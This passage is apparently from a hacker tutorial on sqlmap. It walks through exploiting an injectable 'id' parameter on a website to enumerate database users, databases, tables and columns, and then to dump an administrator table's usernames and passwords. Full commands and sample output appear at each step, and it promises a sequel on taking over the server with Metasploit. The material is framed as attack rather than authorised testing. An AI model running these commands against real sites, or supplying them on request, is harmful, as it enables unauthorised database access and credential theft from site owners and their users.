--users = same as above, reads from session file created for scan but shows  number of database users and usernames
--dbs = same as above, reads from session file created for scan but shows ALL of the databases available, not just current
 current user:    'user@localhost'
 current database: database1
 system users [1]: 'user'@'localhost'
 current user is DBA:    'False'
 vailable databases [5]:
 [*] information_schema
 [*] database1
 [*] database2
 [*] database3
 [*] database4

This pretty much gets you set up with the basic info, you can go a step further and add the '--passwords' to the end of the command to try and extract the users passwords fro database users if they are available. This is not always effective though (i.e. no MySQL table) which is why it is best to add after the basics or at the end of your recon session, like so:

EX: sqlmap -u http://site.com/example.php?id=1 -f -b --current-user --current-db --is-dba --users --dbs --passwords

OR by itself following our recon command like this:

EX: sqlmap -u http://site.com/example.php?id=1 --passwords

You can also check user priveleges '--priveleges' to check user priveleges as well as roles '--role'..., but what if you want to dig deeper into the Database(s) to find more info, no problem....let's keep going and extract all of the table names and columns...

Now we need to keep it simple and just request what we need using these new parameters: '--tables', '--columns', and '-D', like this:

EX: sqlmap -u http://site.com/example.php?id=1 --tables -D database1

Results....it will load all of the results into the log file stored in the "output" folder wherever you installed sqlmap physically on your system, while it also prints the results to the screen.

The results would look something like this:
[16:10:05] [INFO] fetching tables for database 'database1'
[16:10:05] [INFO] fetching number of tables for database 'database1'
[16:10:05] [INFO] retrieved: 13
[16:10:16] [INFO] retrieved: access
[16:10:53] [INFO] retrieved: action
[16:11:40] [INFO] retrieved: ad
[16:11:55] [INFO] retrieved: adcriteria
[16:13:02] [INFO] retrieved: adminhelp
[16:13:56] [INFO] retrieved: administrator
[16:15:14] [INFO] retrieved: adminlog
[16:16:00] [INFO] retrieved: adminmessage
[16:17:26] [INFO] retrieved: bbcode
[16:18:26] [INFO] retrieved: config
[16:19:26] [INFO] retrieved: db_users
[16:20:26] [INFO] retrieved: users
[16:21:26] [INFO] retrieved: etc
Database: database1
[13 tables]
+-----------------+
| access              |
| action              |
| ad                    |
| adcriteria         |
| adminhelp        |
| administrator   |
| adminlog          |
| adminmessage |
| bbcode             |
| config              |
| db_users          |
| users                |
| etc                   |
+-----------------+
....and so on until it is done finding all of the tables for the database you specified with the '-D database1' paramater earlier...and now we find the columns for the tables found above...

EX: sqlmap -u http://site.com/example.php?id=1 --columns -D database1 -T administrator

Results....remember you can check your logs in "output" folder...The results would look something like this:
[16:30:05] [INFO] fetching columns for table 'administrator' on database 'database1'
[16:33:05] [INFO] fetching number of columns for table 'administrator' on database 'database1'
[16:36:05] [INFO] retrieved: 3
[16:39:16] [INFO] retrieved: user
[16:45:53] [INFO] retrieved: pass
[16:46:40] [INFO] retrieved: id
[16:49:26] [INFO] retrieved: etc
Database: database1
Table: administrator
[3 Columns]
+-----------+----------------+
| Column    |     Type         |
+-----------+----------------+
| user         | varchar(250) |
| pass         | varchar(250) |
| ID            | int(11)           |
| etc           | varchar(100) |
+-----------+----------------+
....and so it goes on until it is done finding all of the columns and tables for the database you specified with the '-D database1 -T administrator' paramaters earlier...BUT no you may be asking yourself how do we get that precious data out of there?

Like this:
EX: sqlmap -u http://site.com/example.php?id=1 --dump -D database1 -T administrator -C user,pass,id

Results....remember you can check your logs in "output" folder...The results would look something like this:
[18:51:57] [INFO] fetching columns 'user, pass, id' entries for table
 'administrator' on database 'database1'
[18:51:57] [INFO] fetching number of columns 'user, pass, id' entries for table 'administrator' on database 'database1'
[18:51:57] [INFO] read from file 'C:\sqlmap-0.8_exe\output\www.site.com\session': 2
[18:51:57] [INFO] read from file 'C:\sqlmap-0.8_exe\output\www.site.com\session': 1
[18:51:57] [INFO] retrieved: IhazYOURpassWZORD
[18:52:52] [INFO] retrieved: admin
[18:53:34] [INFO] read from file 'C:\sqlmap-0.8_exe\output\www.site.com\session': 2
[18:53:34] [INFO] retrieved: IhazYOURpassWZORDtoo
[18:54:34] [INFO] retrieved: JohnDoe
Database: database1
Table: administrators
[2 entries]
+-----+---------------------------------+------------+
|   ID  |                Password              |     user      |
+-----+---------------------------------+------------+
| 1      |  IhazYOURpassWORD      |    admin    |
| 2      | IhazYOURpassWORDtoo  | JohnDoe   |
+-----+---------------------------------+------------+
[18:55:14] [INFO] Table 'database1.administrator' dumped to CSV file 'C:\sqlmap-0.8_e
xe\output\www.site.com\dump\database1\administrator.csv'
[18:55:14] [INFO] Fetched data logged to text files under 'C:\sqlmap-0.8_exe\out
put\www.site.com'
That sums up our basic introduction to SQLMAP. Ideas for next series...SQLMAP Round 2: From Dumping to Owning the DB Server. Using ninja skills with sqlmap to interact with the system registry and filesystem access, as well as gaining access to the underlying operating system and executing system commands with a little assistance from the incorporation of Metasploit to the attack scenario. I hope you enjoyed this episode and stay tuned for more to come in the next series...

Later - H.R.